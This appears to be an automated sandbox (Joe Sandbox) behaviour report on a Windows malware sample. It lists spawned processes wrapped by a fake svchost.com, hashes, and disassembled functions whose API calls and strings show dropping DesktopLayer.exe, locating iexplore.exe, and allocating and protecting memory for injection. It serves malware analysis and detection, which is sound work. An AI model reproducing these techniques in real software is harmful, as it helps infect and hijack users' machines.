File size:	828'368 bytes
MD5 hash:	6F0F06D6AB125A99E43335427066A4A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:06:01
Start date:	19/11/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	2F50ACA08FFC461C86E8FB5BBEDDA142
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:06:01
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe
Wow64 process (32bit):	false
Commandline:	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Imagebase:	0x7ff6e0f00000
File size:	540'712 bytes
MD5 hash:	89CF8972D683795DAB6901BC9456675D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:06:01
Start date:	19/11/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe" -new
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	2F50ACA08FFC461C86E8FB5BBEDDA142
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:06:01
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe
Wow64 process (32bit):	true
Commandline:	C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe -new
Imagebase:	0x340000
File size:	85'632 bytes
MD5 hash:	F9A898A606E7F5A1CD7CFFA8079253A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:06:01
Start date:	19/11/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	2F50ACA08FFC461C86E8FB5BBEDDA142
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:06:02
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:06:04
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,13587844842802440522,10807369144858660475,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:06:04
Start date:	19/11/2024
Path:	C:\Windows\svchost.com
Wow64 process (32bit):	true
Commandline:	"C:\Windows\svchost.com" "C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=1047a --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x400000
File size:	41'472 bytes
MD5 hash:	2F50ACA08FFC461C86E8FB5BBEDDA142
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:06:04
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe --from-ie-to-edge=3 --ie-frame-hwnd=1047a --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	03:06:06
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	03:06:10
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5764 --field-trial-handle=2632,i,6985036185838690149,17869082300210821923,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:06:10
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 1556
Imagebase:	0x750000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.7%
Total number of Nodes:	209
Total number of Limit Nodes:	8

Executed Functions

Function 004011DF Relevance: 3.0, APIs: 2, Instructions: 20
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(?,?), ref: 00401203
FindClose.KERNEL32(00000000,?,?), ref: 0040120E

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 5ef48afcc60f0df42ca52d170e360d4b387ed72ee7c98a6338fd5de06560ac66
Instruction ID: b1f125ed4efc06f30582f8b04dd36de647bf725fcf985a164ddf40afef925a9c
Opcode Fuzzy Hash: 5ef48afcc60f0df42ca52d170e360d4b387ed72ee7c98a6338fd5de06560ac66
Instruction Fuzzy Hash: 60E0C23040020812DB10F6A48C0ABCA329C5F24318F0002B77619F31E1DA7CDEC4C76E

Function 005404CC Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000000,FB145B9B,E0605F88,00000002,?), ref: 005436B6

Memory Dump Source

Source File: 00000001.00000003.2046017294.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_540000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 8d827ceb1cc416b39031b6256c29159742f08048d30b83f4891e398e95171e99
Instruction ID: 0448ec400f5201c6e261d568c24d0016bc2ef905b75e958059651bd16e58200a
Opcode Fuzzy Hash: 8d827ceb1cc416b39031b6256c29159742f08048d30b83f4891e398e95171e99
Instruction Fuzzy Hash: 20117CA180D3D55ED71387348868AE83FB06F13308F1A45CBD2D5DB0E3D6694A48CB22

Function 00543519 Relevance: 1.5, APIs: 1, Instructions: 38
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 005436B6

Memory Dump Source

Source File: 00000001.00000002.2050017995.0000000000541000.00000040.00001000.00020000.00000000.sdmp, Offset: 00541000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_541000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 2171132a724ee702e00d67cb4ae17207dee643bdc257fb58d7537d09c28e9070
Instruction ID: d4ee4735c4c1548003e431946e049c549b5938ce8f49b873d71d97c1f6eb9640
Opcode Fuzzy Hash: 2171132a724ee702e00d67cb4ae17207dee643bdc257fb58d7537d09c28e9070
Instruction Fuzzy Hash: 810162A280C7D54FD713836498A47D83FB07B5731CF1705D6D198DA0E3D6644A068727

Function 00540335 Relevance: 1.5, APIs: 1, Instructions: 29memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,42025366), ref: 005427CB

Memory Dump Source

Source File: 00000001.00000003.2046017294.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_540000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 7fc04df0d5d77a41f467c6adf8d35f92e442f5b7f77c8826fd2060193fd8791e
Instruction ID: fa742e1643d6a2dc43e5a47ab1d6e3700de05ead39295239eb6f926bd2fd60c3
Opcode Fuzzy Hash: 7fc04df0d5d77a41f467c6adf8d35f92e442f5b7f77c8826fd2060193fd8791e
Instruction Fuzzy Hash: 07F0F8DA91D7D02EF3135274A8A5B843FA0AB77248F0B44C7D0C4DA0E3D5A94A4A8326

Function 00540814 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?), ref: 00540856

Memory Dump Source

Source File: 00000001.00000003.2046017294.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_540000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a7512f518d9cd3fd1093e4f2270c633ac2325be1cc000d8372d1ddfaef692cf0
Instruction ID: e04f275faca5c99cfe512ac123e63add96c85d40977db2989d51df9fe205f3f5
Opcode Fuzzy Hash: a7512f518d9cd3fd1093e4f2270c633ac2325be1cc000d8372d1ddfaef692cf0
Instruction Fuzzy Hash: 52F05AD691E3D02EE70793B458687887FB01F67209F1A80CAC2919B0E3E6A84909C336

Function 00543519 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000000,FB145B9B,E0605F88,00000002,?), ref: 005436B6

Memory Dump Source

Source File: 00000001.00000003.2046017294.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_540000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 190a51f41ef361d33bfa81698acc1348fdb76df4dcbf211a6dfeeae8dfbe8205
Instruction ID: 7eeb4201e4931a8eb84c49e9b4a052c61eb3514ffa3905d1329ed32cd99c1268
Opcode Fuzzy Hash: 190a51f41ef361d33bfa81698acc1348fdb76df4dcbf211a6dfeeae8dfbe8205
Instruction Fuzzy Hash: B1F0F8D680C7D11EE31313A49CA5BD43FA06B6721CF1B05CAD1D4CA0E3D6680A0A8727

Function 005427A0 Relevance: 1.5, APIs: 1, Instructions: 19
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 005427CB

Memory Dump Source

Source File: 00000001.00000002.2050017995.0000000000541000.00000040.00001000.00020000.00000000.sdmp, Offset: 00541000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_541000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction ID: 5461988ab50b4b4ea802a9e51d33764b3184ac0cc83734b8cd0ddb896c6035a4
Opcode Fuzzy Hash: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction Fuzzy Hash: E2E0999691E3D40EE70393745864A887FB16F6B218F4B85DBD0D5CA0F3D6889A0AC326

Function 005427A0 Relevance: 1.5, APIs: 1, Instructions: 19memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,42025366), ref: 005427CB

Memory Dump Source

Source File: 00000001.00000003.2046017294.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_540000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction ID: 5461988ab50b4b4ea802a9e51d33764b3184ac0cc83734b8cd0ddb896c6035a4
Opcode Fuzzy Hash: 463493cebd59d1f188ea9a20502c0f4e100c46f55fa8f6262abcbcc5b70460af
Instruction Fuzzy Hash: E2E0999691E3D40EE70393745864A887FB16F6B218F4B85DBD0D5CA0F3D6889A0AC326

Function 00541457 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFreeVirtualMemory.NTDLL(00000000,F40368AB), ref: 00542750

Memory Dump Source

Source File: 00000001.00000003.2046017294.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_540000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: b48d3e1404e8900d199013f262c6db174cb68df81b1b54382843596abfa5e2cd
Instruction ID: 03f346cc210ac6a188dcebaf2027f3a74b57063f332f7855316cc3e5206baf9b
Opcode Fuzzy Hash: b48d3e1404e8900d199013f262c6db174cb68df81b1b54382843596abfa5e2cd
Instruction Fuzzy Hash: A3B01232014062374C00B3F49C5BCFD2C0878D538C7707D017513F10964C749234A473

Function 00542740 Relevance: 1.5, APIs: 1, Instructions: 8
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFreeVirtualMemory.NTDLL ref: 00542750

Memory Dump Source

Source File: 00000001.00000002.2050017995.0000000000541000.00000040.00001000.00020000.00000000.sdmp, Offset: 00541000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_541000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: daf8ff062a64d71ed8538d5a4dfc0d1fcbc3b82ee8d6e8e9fd10b4b60d0c9c1d
Instruction ID: 582a139e6611ab71a074de79d7bde9545de812c259c5c68f50aa00b0937eef38
Opcode Fuzzy Hash: daf8ff062a64d71ed8538d5a4dfc0d1fcbc3b82ee8d6e8e9fd10b4b60d0c9c1d
Instruction Fuzzy Hash: 7CB01232014052374800B3F49C5A8AD1C0834D538C3307D013512F10854C7492348473

Function 00401402 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 122
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNEL32(%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 0040144C
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%,?,000002FC,00000000), ref: 00401471
ExpandEnvironmentStringsA.KERNEL32(%HOMEDRIVE%%HOMEPATH%,?,000002FC,00000000), ref: 00401496
ExpandEnvironmentStringsA.KERNEL32(%APPDATA%,?,000002FC,00000000), ref: 004014B8
lstrcat.KERNEL32(?,00000000), ref: 0040152F
CreateDirectoryA.KERNEL32(?,00000000,00000000), ref: 0040153D
lstrlen.KERNEL32(?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 00401559
GlobalAlloc.KERNEL32(00000040,-00000002,?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 00401564
lstrcpy.KERNEL32(00000000,?), ref: 00401580
lstrlen.KERNEL32(00000000,00000040,-00000002,?,?,00000000,%ProgramFiles%,?,000002FC,?,00000000,00000000), ref: 0040158B

Strings

%HOMEDRIVE%%HOMEPATH%, xrefs: 00401491
%APPDATA%, xrefs: 004014B3
%ProgramFiles%, xrefs: 00401447
%CommonProgramFiles%, xrefs: 0040146C

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings$lstrlen$AllocCreateDirectoryGloballstrcatlstrcpy
String ID: %APPDATA%$%CommonProgramFiles%$%HOMEDRIVE%%HOMEPATH%$%ProgramFiles%
API String ID: 1756080463-2835764218
Opcode ID: eb2d092b21e97612dede6986c0320930081586544f6f096bcc96e5e14e4d91fc
Instruction ID: b3cca358a8796779bf3d8f55d13e7706bab6aaea77049080d11dc94dac6c4c64
Opcode Fuzzy Hash: eb2d092b21e97612dede6986c0320930081586544f6f096bcc96e5e14e4d91fc
Instruction Fuzzy Hash: 164164F1940118B9DF20A651CD4AFBA737CEB84308F1040FBB306B60D1D6B84E869A6D

Function 00401718 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000000,http\shell\open\command,00000000), ref: 00401731
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401750
RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401763
lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040176B
lstrcpy.KERNEL32(00000000,00000001), ref: 00401784
lstrlen.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040178C
ExpandEnvironmentStringsA.KERNEL32(%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 004017C0
RegOpenKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000), ref: 004017F2
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401811
RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401824

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE, xrefs: 004017E8
%ProgramFiles%\Internet Explorer\iexplore.exe, xrefs: 004017BB
http\shell\open\command, xrefs: 00401727

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValuelstrlen$EnvironmentExpandStringslstrcpy
String ID: %ProgramFiles%\Internet Explorer\iexplore.exe$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE$http\shell\open\command
API String ID: 3609507023-2166425673
Opcode ID: ec1019beed7b315069fa3b1779e8fda54c19aa443329518b0391860384422208
Instruction ID: 492c7e26a815c2c5e33e9532f8691bf3d5bdac08c2cdb0d7937cd877f00ba273
Opcode Fuzzy Hash: ec1019beed7b315069fa3b1779e8fda54c19aa443329518b0391860384422208
Instruction Fuzzy Hash: 2731FE31580009FADF116B91CD46F9D7E26EF14348F108036B904B81F1D7B98FA1EB98

Function 00402B89 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 73
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumePathNameA.KERNEL32(00000000,?,0000000A), ref: 00402BA8
GetDriveTypeA.KERNEL32(?,00000000,00000000), ref: 00402BB5
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00402BCD
lstrcmpiA.KERNEL32(00000000,DesktopLayer.exe), ref: 00402BFA
GlobalFree.KERNEL32(?), ref: 00402C0B
CopyFileA.KERNEL32(00000001,?,00000000), ref: 00402C34
GlobalFree.KERNEL32(?), ref: 00402C4F

Strings

DesktopLayer.exe, xrefs: 00402BF2, 00402C16
Microsoft, xrefs: 00402C1B

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: FreeGlobal$CopyDriveFileNamePathTypeVolumelstrcmpilstrlen
String ID: DesktopLayer.exe$Microsoft
API String ID: 2423091117-2303414202
Opcode ID: 13739f48c3fb5faa69a5c578e09354fe4c0f3b87c24bd434c24f16c5b7868d18
Instruction ID: 424de1d055d36d94485564944f0a82ae944634b2939da7d16f421487f9db5567
Opcode Fuzzy Hash: 13739f48c3fb5faa69a5c578e09354fe4c0f3b87c24bd434c24f16c5b7868d18
Instruction Fuzzy Hash: B0214C31940109FAEF21AEA1CE4ABEE7B75AF00308F204076B600B41E0D7F99E80DB58

Function 00402C5B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401718: RegOpenKeyA.ADVAPI32(80000000,http\shell\open\command,00000000), ref: 00401731
Part of subcall function 00401718: RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401750
Part of subcall function 00401718: RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00401763
Part of subcall function 00401718: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040176B
Part of subcall function 00401718: lstrcpy.KERNEL32(00000000,00000001), ref: 00401784
Part of subcall function 00401718: lstrlen.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 0040178C
Part of subcall function 00401718: ExpandEnvironmentStringsA.KERNEL32(%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 004017C0
Part of subcall function 00401718: RegOpenKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000), ref: 004017F2
Part of subcall function 00401718: RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401811
Part of subcall function 00401718: RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE,00000000,00000000,%ProgramFiles%\Internet Explorer\iexplore.exe,?,?,00000000), ref: 00401824

ExitProcess.KERNEL32(00000000), ref: 00402CE1

Part of subcall function 004016DF: CreateMutexA.KERNEL32(00000000,00000000,?), ref: 004016EC
Part of subcall function 004016DF: GetLastError.KERNEL32(00000000,00000000,?), ref: 004016F8

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe,00000104), ref: 00402C99
ExitProcess.KERNEL32(00000000,00000000,C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe,00000104), ref: 00402CBA

Part of subcall function 004016C2: ReleaseMutex.KERNEL32(00000000), ref: 004016CE
Part of subcall function 004016C2: CloseHandle.KERNEL32(00000000,00000000), ref: 004016D6

Strings

KyUffThOkYwRRtgPP, xrefs: 00402C6F
C:\Program Files\Internet Explorer\iexplore.exe, xrefs: 00402C60, 00402CD0
C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe, xrefs: 00402C92, 00402C9F, 00402CA9

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: Close$ExitMutexOpenProcessQueryValuelstrlen$CreateEnvironmentErrorExpandFileHandleLastModuleNameReleaseStringslstrcpy
String ID: C:\Program Files\Internet Explorer\iexplore.exe$C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe$KyUffThOkYwRRtgPP
API String ID: 2881055489-1839753099
Opcode ID: 51f0a5296dabd030075ef5f478be5b9d37bf5b147908f06877ff2ac5a85c63c7
Instruction ID: 658ed56b8edc3d340efa7718af161cce9f9a56405a25793705c5132ec09cd582
Opcode Fuzzy Hash: 51f0a5296dabd030075ef5f478be5b9d37bf5b147908f06877ff2ac5a85c63c7
Instruction Fuzzy Hash: 17F07470A9920166F96036E31F4BF2D3519AB51B19F24493FFA06B5ADAC8FDC880406E

Function 00401223 Relevance: 7.5, APIs: 5, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempFileNameA.KERNEL32(?,0040D877,00000000,?), ref: 0040123D
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 0040125B
CloseHandle.KERNEL32(00000000,?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 00401266
DeleteFileA.KERNEL32(?,00000000,?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 00401272
DeleteFileA.KERNEL32(?,?,C0000000,00000000,00000000,00000002,00000080,00000000,?,0040D877,00000000,?), ref: 00401287

Memory Dump Source

Source File: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2047853106.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_#U65b0#U7248#U7f51#U5173Srv.jbxd

Yara matches

Similarity

API ID: File$Delete$CloseCreateHandleNameTemp
String ID:
API String ID: 439191773-0
